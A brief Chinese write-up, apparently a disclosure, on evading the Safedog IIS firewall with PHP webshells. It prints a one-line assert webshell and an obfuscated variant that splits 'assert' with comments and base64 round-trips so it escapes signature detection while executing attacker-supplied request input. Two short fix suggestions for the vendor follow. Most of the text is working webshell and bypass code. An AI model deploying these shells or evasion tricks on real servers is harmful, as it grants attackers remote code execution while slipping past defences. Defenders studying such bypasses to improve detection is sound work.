测试环境：windows2003

安全狗版本：iis3.3最新版

原形

<?php assert($_REQUEST["AG"]);?>

处理掉assert的函数原形即可绕过
 

<?php 

$jm='MQ==';

$s=base64_decode($jm);

$a="a"./*-/*-*/"ss"./*-/*-*/"er"./*-/*-*/"t";

$b=base64_encode($a); 

$c=base64_decode($b);

$c($_REQUEST[$s]);

?>

修复方案：

#1.增加相应的查杀库

#2.用正则过滤掉垃圾字符再用特征库识别效果会好一些